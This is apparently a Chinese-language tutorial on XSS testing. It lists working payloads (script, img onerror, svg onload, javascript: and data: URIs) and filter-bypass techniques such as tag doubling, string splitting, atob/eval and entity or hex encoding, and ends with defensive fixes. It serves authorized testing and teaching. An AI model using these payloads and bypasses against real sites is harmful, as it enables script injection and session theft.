说到XSS,不少人脑子里第一反应就是弹窗alert。我以前带新人时,总有人背了一堆payload,真到测试环境全被拦下来,就开始怀疑人生。这篇就是我从日常工作中沉淀出来的XSS常用语句和绕过思路,不讨论宏大的攻击链,只讲最实用的探测语句、事件写法、编码对抗和应对过滤的办法。适合三类人:一是刚入门做Web安全测试的,二是写业务代码被安全扫描结果追着跑的开发,三是想给自研系统做防护测试的运维。老规矩先划重点:文里所有内容,只能在你有授权的目标上测,没授权的系统碰都不要碰。
1. 先搞懂XSS的判定标准,再谈语句怎么写
很多新手喜欢直接拿<script>alert(1)</script>去试,弹出来就说有漏洞,弹不出来就说没漏洞。这种判断方式其实很危险,因为你可能踩在“上下文不对”或“被浏览器过滤”这两个坑里还不自知。想要写出有效的XSS常用语句,第一步不是背payload,而是理解XSS到底在哪里触发。
1.1 XSS本质是把用户输入变成了可执行代码
XSS的全称是Cross-Site Scripting,跨站脚本。它的本质是:开发者把用户输入的内容,拼接到了HTML页面里,而浏览器在解析HTML时,把这些内容当成了可以执行的代码。你可以把HTML解析器想象成一台自动分拣机,它把页面内容分成三种包裹:HTML标签、标签属性、纯文本。如果你的输入落在标签位置,那它就是标签;落在属性位置,那它就是属性值;只有极少数情况下它才是“你希望的纯文本”。
一个典型的例子就是搜索框:
<input type="text" value="用户输入的内容">如果用户输入的是"><script>alert(1)</script>,拼接后就变成了:
<input type="text" value=""><script>alert(1)</script>">前一个双引号闭合了value属性,后面的<script>就成了一个新的HTML标签,浏览器照单全收,直接执行。这就是“注入”的由来。
判断XSS的核心标准只有一条:输入是否被拼接到HTML中,并且是否被浏览器当作代码执行。弹窗只是证明执行的一种方式,不是唯一方式。更隐蔽也更实用的证明方式是console.log(document.domain),因为控制台的输出不会打断页面流程,也不会触发一大堆安全扩展的拦截。
1.2 反射型、存储型、DOM型的本质区别
我见过不少人把三种XSS混为一谈,结果测试时思路全乱。其实它们的区别就在于“恶意数据在哪里存、从哪里取”。
反射型XSS(Reflected XSS):恶意数据是一次性的,包含在URL参数里提交给服务端,服务端把参数拼到返回的HTML里。比如http://example.com/search?kw=<script>alert(1)</script>。数据不落库,只在这一次请求-响应中生效。实际利用场景一般是诱导用户点击一个精心构造的链接。
存储型XSS(Stored XSS):恶意数据被保存到服务端数据库里(评论、留言、昵称、个人签名等),之后任何用户打开页面,都会从库里取出这段数据并渲染执行。它最危险,因为不需要诱导点击,只要有人访问页面就中招。我以前接触过一个内部系统的例子,有人在昵称里写了<img src=x onerror=alert(document.cookie)>,结果后台上千条审计日志全部弹窗,排查起来非常痛苦。
DOM型XSS(DOM-based XSS):这个最骗人,因为它不经过服务端。整个注入过程都发生在浏览器里。常见写法是:
let name = decodeURIComponent(location.hash.substring(1)); document.getElementById('hello').innerHTML = 'Hello, ' + name;这段代码在浏览器端把URL里的内容直接写进innerHTML,浏览器解析后执行了恶意代码。由于请求会正常发给服务器,服务器日志里看不到任何异常。我见过不少安全测试人员拿着扫描器扫了半天,什么都扫不出来,因为扫描器扫的是服务端响应,而DOM XSS的payload只在客户端发生作用。
三种形态的对比可以总结成一张表:
| 类型 | 数据存放位置 | 触发过程 | 危害特点 |
|---|---|---|---|
| 反射型 | URL参数,不落库 | 服务端拼接返回,浏览器解析 | 需要诱导点击,一次一效 |
| 存储型 | 服务端数据库 | 页面加载时从数据库读取 | 持久化,影响所有访问者 |
| DOM型 | 浏览器内存/URL | 前端JS读写DOM时触发 | 不经过服务端,日志难追查 |
判定思路也很简单:输入框内容刷新页面后还在不在?在的话优先考虑存储型;URL参数里写着payload、刷新就触发,优先考虑反射型;页面上没有网络请求、纯前端渲染导致的,优先考虑DOM型。
2. 可以直接抄作业的XSS常用语句清单
理解了原理,下面进入正题。这部分我整理的是自己一直在维护的payload字典,按使用频率排序,每一条都标注触发条件和适用上下文。不需要全背,挑几条记熟,遇事不慌。
2.1 探测阶段最稳的几条语句
先说一个基本流程:先输入普通唯一值,比如zqzq123,刷新后用F12查看这个值被渲染在HTML的哪个位置。是直接出现在页面文本里,还是出现在某个标签的value属性里,或者出现在JS代码里?确认位置之后,再决定用哪条payload。
如果输入被直接拼在标签外,也就是页面的纯文本区域,最经典的写法是:
<script>alert(1)</script>但这条在现代浏览器里越来越难弹出来,因为很多框架默认做了输出转义,标签会被转成<script>。另一个问题是,如果系统启用了严格CSP,内联脚本直接就被拦了。所以我现在更推荐用:
<script>console.log(1)</script>原因很简单:console.log不需要额外交互,也不弹窗干扰测试,而且如果页面开启了CSP,控制台会明确打印“拒绝执行内联脚本,因为违反了CSP策略”,这个报错本身就是非常关键的信息。
如果输入落在HTML标签的属性值里,就需要先闭合属性:
"><script>console.log(document.domain)</script>如果输入落在JS代码的字符串里,通常是这样:
';console.log(document.domain);//闭合前面的引号和括号,后面用//把多余的代码注释掉,保证语法不报错。
2.2 事件属性:不依赖script标签的触发方式
实战里<script>标签被过滤是非常常见的事,于是事件属性成了主力。事件属性的原理很简单:HTML标签上有一个以on开头的事件属性,当某个交互动作或生命周期事件发生时,浏览器会执行这个属性里的JS代码。比如onerror是加载资源失败时触发,onload是加载成功时触发,onclick是点击时触发。
几个高频且值得记牢的:
<img src=x onerror=alert(1)>这是出镜率最高的一条。src=x指向一个不存在的资源,图片加载必然失败,onerror立刻执行。
<svg onload=alert(1)><svg>不需要额外属性,页面加载到它时onload就会触发,不用等资源失败。
<input onfocus=alert(1) autofocus>autofocus让输入框自动获得焦点,焦点事件触发了alert,不需要用户点任何东西。
<details open ontoggle=alert(1)><details>元素的ontoggle在open状态改变时触发,配合open属性实现自动执行。
<video src=x onerror=alert(1)> <audio src=x onerror=alert(1)>这两个和img的写法类似,只是标签不同。当src资源加载失败时触发事件。
<a href=javascript:alert(1)>点击我</a>这个就不是事件属性了,而是伪协议。href里写javascript:协议,点击链接时执行后面的JS代码。这类语句虽然需要用户点击,但如果系统过滤了所有on开头的事件,它就是很好的替补。
事件属性的执行条件各不相同,我在项目里一般按触发条件把它们分成几组:
| 触发条件 | 语句示例 |
|---|---|
| 资源加载失败 | <img src=x onerror=alert(1)> |
| 自动加载完成 | <svg onload=alert(1)> |
| 自动获得焦点 | <input onfocus=alert(1) autofocus> |
| 页面/表单状态变化 | <details open ontoggle=alert(1)> |
| 用户主动交互 | <a href="javascript:alert(1)">点击</a> |
如果只是为了证明漏洞存在,优先选前四组不需要交互的。第五组永远可以作为兜底,因为有些场景下服务端就是会过滤掉所有事件属性,但不会过滤href。
2.3 伪协议、iframe与data协议的补充
当HTML标签和事件都不好使时,还有几条容易忽略的路径。
<iframe src="javascript:alert(1)"></iframe>这段的意思是iframe的src使用了javascript:协议,浏览器加载iframe时执行代码。
<iframe srcdoc="<script>alert(1)</script>"></iframe>srcdoc属性可以直接声明iframe内部要渲染的HTML内容,它比src更灵活,因为载荷是HTML而不是URL。
<object data="data:text/html,<script>alert(1)</script>"></object>data:协议允许用URL直接携带文本内容。这里写的是data:text/html,后面跟HTML源码。这条在旧版浏览器兼容性尚可,现代浏览器对object的限制越来越多,但作为绕过话术的参考资料仍然值得保留。
还有一条容易漏的:
<math href="javascript:alert(1)">X</math><math>是数学标记语言,它同样能识别href和javascript:伪协议。这类冷门标签的价值在于,很多过滤规则只拦了script、img、svg这类常见标签,根本没想到math和table也能执行代码。
3. 核心内容:常见过滤场景下的绕过思路拆解
前面的语句都是“裸奔”状态下的,而实际系统的过滤规则五花八门。有的过滤标签,有的过滤关键字,有的过滤引号,有的干脆上了WAF。绕过思路的本质就一句话:探测过滤规则,寻找它漏掉的那条路。
3.1 标签被过滤时的绕过思路
如果提交<script>后显示为空,说明标签被直接剥掉了。此时先不要盲目去换payload,先做一个小实验:输入<script>test123</script>,刷新看看页面里剩下什么。
- 如果
test123还在、标签没了,说明是“剥标签”的过滤,用标签双写就能绕过:<sc<script>ript>alert(1)</script>。 - 如果标签和内容全没了,说明是“整体删除”,双写不一定有用,需要考虑闭合闭合符或者转占位。
- 如果
<script>被替换成<script>,那就是输出编码,光靠绕过字符串没用,得考虑上下文是否还有其他闭合点。
“标签双写”能绕过,是因为很多简单的过滤实现是这样写的:
input.replace('<script>', '')它只替换一次,而且替换结果不重新检查。所以输入<sc<script>ript>alert(1)</script>,第一次替换删除的是一对<script>,剩下的字符拼起来正好又是一个<script>。这类问题在自研的搜索替换过滤里很常见。
另一种常见的绕过思路是利用换行、制表符和注释符。HTML解析器在处理标签名时,对制表符、换行、空格是宽松的,但很多正则过滤是^<script>$这种严格匹配,换行一进去,正则就懵了:
<scr ipt>alert(1)</scr ipt>用/**/拆分也经常有效:
<scr/**/ipt>alert(1)</scr/**/ipt>这里的规则是:能被HTML解析器容忍的“空白”和“注释”,不一定被正则规则接受。
3.2 关键字被过滤时的绕过思路
很多系统把alert、prompt、confirm这几个函数名直接拉黑。这时候思路有两条,一是换函数,二是拼字符串。
换函数最简单:
<img src=x onerror=prompt(1)> <img src=x onerror=confirm(1)>如果这三个都被拉黑了,再考虑拼字符串。JS是动态语言,函数名可以来自字符串:
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>atob把Base64字符串解码成alert(1),eval执行它。YWxlcnQoMSk=解码后就是alert(1),这条能同时绕过硬编码关键字的过滤。
字符串拼接也常用:
<img src=x onerror=top['al'+'ert'](1)>top['al'+'ert']实际上等于top['alert'],也就是top.alert,照样能调用。如果eval被过滤了,就用新版的Function构造器:
<img src=x onerror=Function('alert(1)')()>Function构造器可以从字符串生成一个函数,然后立即调用。这条虽然偏进阶,但确实能绕开只过滤eval的系统。
3.3 引号被过滤和空格被过滤的处理办法
引号过滤也很常见。比如后台把双引号"和单引号'全部替换为空。这时候事件属性就没法写onerror="alert(1)"了,但HTML属性本身就支持不带引号的值:
<img src=x onerror=alert(1)>没错,属性值不写引号是完全合法的。但如果载荷里还需要字符串,比如document.cookie,可以直接用模板字符串反引号:
<img src=x onerror=alert(`xss`)>反引号被过滤的概率比单双引号低得多,这是我实测下来很稳的一个小技巧。
空格被过滤的情况更恶心,因为HTML标签的属性和属性之间必须有空格。替代方案是用换行、制表符甚至/。例如:
<svg/onload=alert(1)>这里用/代替了onload前面的空格。<svg/onload>在浏览器解析时会被当成<svg onload>,语法合法。如果换行也被过滤,可以试制表符	或者HTML实体里的	,不过兼容性要具体测。
3.4 编码对抗:必须理解解码顺序
编码是最让人头大的一块,也是踩坑重灾区。绕过的核心不是“写出好看的花体字”,而是搞明白解码顺序。
HTML实体编码的例子:
<img src=x onerror="alert(1)">a是a的HTML实体编码,浏览器解析HTML属性时先解码实体,然后执行JS,所以alert(1)最终变成alert(1)。但要注意,这个方式只在HTML上下文有效。如果输入点在JS代码内部,HTML实体不会再次解码,直接写\x61lert(1)才是正解。
JS字符串里的Unicode/十六进制转义:
<img src=x onerror="eval('\x61lert(1)')">在JS解析时,\x61被解码成a,于是\x61lert(1)变成alert(1)。如果系统拦截的是“alert(”这个连续字符串,十六进制转义能直接打穿。
URL编码的典型例子:
%3Cimg%20src=x%20onerror=alert(1)%3EURL编码是给传输层看的,服务端收到后先解码一次,浏览器渲染HTML时再解码一次。如果过滤规则是在服务端解码前匹配的,那么编码后的字符串大概率能绕过。但要注意,如果你输入的URL编码里包含%3Cscript%3E,服务端解码后变成了<script>,然后又被输出编码,那就没戏。全流程:客户端URL编码 -> 服务端解码 -> 服务端过滤 -> 服务端拼接HTML -> 浏览器解码HTML实体 -> 执行JS。任何一层多一次或少一次解码,结果都不一样。
Base64只能配合atob使用,单独丢在HTML里不会自动解码。比如:
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">atob('YWxlcnQoMSk=')解码得到alert(1),eval再执行。它的作用不是绕过浏览器,而是绕过那些简单的关键字正则匹配。
还有一个容易混淆的点:javascript:伪协议里的URL编码。比如:
<a href="javascript:alert(1)">click</a>如果过滤了javascript:,可以用java%0asc ript:这类换行编码,或者javascript:实体编码。具体用哪一种,取决于过滤是在哪个环节生效。
4. 实战记录:一次测试从定位到修复的完整闭环
光讲理论和语句太干了,我拿一个模拟场景把这套流程串起来,也是我平时自查自测时的标准动作。假设有一个内部搜索页面,输入框name叫kw,疑似的XSS输出点在value属性里。
4.1 定位输入点的渲染上下文
第一步,输入一个普通字符串zqzq123,比如?kw=zqzq123,然后打开F12的Elements面板,搜索zqzq123。如果它出现在:
<input type="text" name="kw" value="zqzq123">这说明输入点就在HTML属性里。第二步,尝试闭合这个属性:
?kw=zqzq123" onmouseover="console.log(document.domain)拼出来是:
<input type="text" name="kw" value="zqzq123" onmouseover="console.log(document.domain)">页面加载后,鼠标划过输入框,控制台就会输出当前域名。如果控制台有输出,说明属性闭合成功并且事件执行了。如果没反应,看看是不是输出被转义成了",如果是,就要切到其他思路,比如测一下解析顺序,看看HTML实体是否被二次解析。
第三步,如果是存储型场景,就把同样的内容提交到一个评论表单,然后以另一个浏览器角色访问页面,看是否触发。这一步是为了区分“当前用户会话内的反射”和“所有访问者都触发的存储”。用两个完全隔离的浏览器会话测,能有效避免缓存和登录态的干扰。
4.2 测试过程中常见的五个坑
我把这几年带新人时反复出现的问题整理成了排查表,每条都对应具体的现场表现:
| 坑位 | 现场表现 | 排查方法 |
|---|---|---|
| 输出被HTML实体编码 | payload显示为源码,不执行 | 看F12里是<script>还是<script>,后者需要找标签外的闭合点 |
| CSP拦截内联脚本 | 控制台报“拒绝执行内联脚本” | 检查响应头里的Content-Security-Policy,重新评估上下文 |
| 过滤规则替换为空 | 尖括号内容被删掉 | 输入<script>test</script>,观察剩余内容判断具体拦截方式 |
| 触发条件不满足 | 语句没毛病,就是不执行 | 确认是onload、onerror还是onfocus,手动模拟对应行为 |
| JS语法被截断 | 控制台报语法错误 | 重新闭合末尾,多用//注释掉后面的干扰代码 |
其中CSP那一项最容易被误判成“没有XSS”。实际运营中的系统如果配了script-src 'self',那么内联脚本全都会被拦,但攻击者仍然可能利用同源的jsonp接口等方式绕过。作为测试人员,看到CSP报错后的正确操作是:确认这个报错是不是真的拦住了所有注入,而不是简单得出“没漏洞”的结论。
4.3 防御侧修复:从同一段语句反推问题
测试的目的是推动修复。如果我把上面的payload成功打出来了,那修复方案其实很清晰。
最底层的修复原则是针对输出位置做编码,而不是拦输入。比如在Java里,如果是HTML标签内输出,要对<、>、"、'、&做HTML实体编码;如果是JS字符串内输出,要用\x十六进制转义;如果是URL属性里输出,要用URL编码。
一个简单的对比:
// 错误做法:只过滤<script> String s = input.replace("<script>", ""); // 正确做法:HTML属性上下文做编码 String s = HtmlUtils.htmlEscape(userInput);再往上一层是启用CSP,让即使有注入点,也不轻易执行脚本:
Content-Security-Policy: script-src 'self' 'unsafe-inline'但'unsafe-inline'本身就是隐患,能不开就不开。最理想的是完全禁掉内联脚本,所有JS走外部文件。同时给Cookie加上HttpOnly和SameSite属性,这样即使XSS能执行脚本,也没法直接读到document.cookie,能把“从XSS到会话劫持”这条路堵掉一半。
5. 常见问题速查:根据现场表现快速决策
最后整理一张按“现场表现”来查症状表,比对着原理慢慢推要快很多。遇到情况直接查表选下一步。
出现以下现象,优先怀疑这些原因:
- 弹窗不弹,但控制台没有报错:大概率是payload被输出编码了,去看F12渲染出来的源码。
- 弹窗不弹,控制台有CSP报错:系统启用了安全策略,换个上下文再试,或者确认同源可利用的资源。
- 事件属性全部失效:过滤规则可能直接删
on开头的字符串,改用伪协议或标签嵌套。 - alert、prompt、confirm全被拦:系统对函数名做了黑名单,考虑
atob+eval或字符串拼接。 - 只有第一次请求成功,后面全失败:可能是WAF学习模式或人工临时加了封禁规则,换参数名重新测。
- 存储型XSS在其他电脑上不触发:可能是前端渲染在部分版本浏览器不兼容,换个浏览器看看。
- DOM型XSS扫描器扫不出:扫描器看服务端响应,DOM型问题就要手工审前端JS,重点看
innerHTML、document.write、eval、location相关的赋值。
如果你的页面里怀疑DOM XSS,最快的排查办法是全局搜索这几个JS关键词:innerHTML、outerHTML、document.write、eval、setTimeout('字符串')、location、srcdoc。凡是用户输入能影响到这些API参数的地方,都是高危点。我排查历史项目时发现,写得很烂的旧后台系统里,十个DOM XSS有八个死在innerHTML直接拼接URL参数上。
还有个小技巧:自己维护一个payload字典,不要只存最终payload,还要记录它的“适用上下文”。比如<svg onload=alert(1)>适合标签外直接插入," onfocus=console.log(1) autofocus="适合HTML属性闭合,';alert(1);//适合JS字符串闭合。把每条语句写清楚使用前提,比背100条裸payload有用得多。
最后,说点经验层面的东西。我见过不少人测试XSS时执着于“一定要弹窗”,仿佛不弹窗就不算漏洞。其实弹窗只是证明手段,真正影响危害程度的是“能执行什么代码、影响多少人、会话是否可被窃取”。同样一条console.log的payload,在一个允许内联脚本的低危页面上和在一个存储了管理员会话的页面上,意义完全不同。测试语句永远为场景服务,绕过思路也永远从上下文出发。先把这条想明白,再谈积累多少payload都不迟。